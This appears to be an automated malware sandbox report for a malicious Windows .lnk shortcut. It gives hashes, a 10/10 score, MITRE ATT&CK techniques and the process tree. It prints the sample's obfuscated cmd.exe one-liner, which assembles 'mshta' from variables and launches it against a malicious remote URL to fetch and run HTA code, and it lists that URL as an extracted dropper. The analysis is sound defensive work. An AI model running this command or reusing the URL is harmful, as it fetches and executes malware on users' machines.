9d32920ef0f73c029c125bf73bea198dbcadd04503a30fdfabb2d0f9e7050f8b

Analysis

max time kernel
148s
max time network
134s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 13:32

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General

Target
DOC-7638O8.lnk
Size 1KB
Sample260803-qs772azemd
SHA256 9d32920ef0f73c029c125bf73bea198dbcadd04503a30fdfabb2d0f9e7050f8b
MD5 78759524a864da5ef93644649ee7c93d
SHA1 7dec88f0cff57f301e277ddfb7b26ef386e92adb
SHA512 42bcda3849ac2250aa01e68b11af4bb37091be8a680cb132c44ba9e6e08bd7585741a67dd937a9433b660a1d5ae271420e4e88fdd066cd7b2c0ea152188747aa
TLSH
T1C1319E503FFD0614F3F78F7794BB5B2085BBB8968E24D61D41414A4C1032A14E17AF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3368	cmd.exe
4424	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3368 wrote to memory of 4424	3368	cmd.exe	90
PID 4424 wrote to memory of 124	4424	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-7638O8.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3368
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /C "set Vv=msh&&set KQi=ta&&start "" !Vv!!KQi! https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4424
- - C:\Windows\System32\mshta.exe
    mshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:124

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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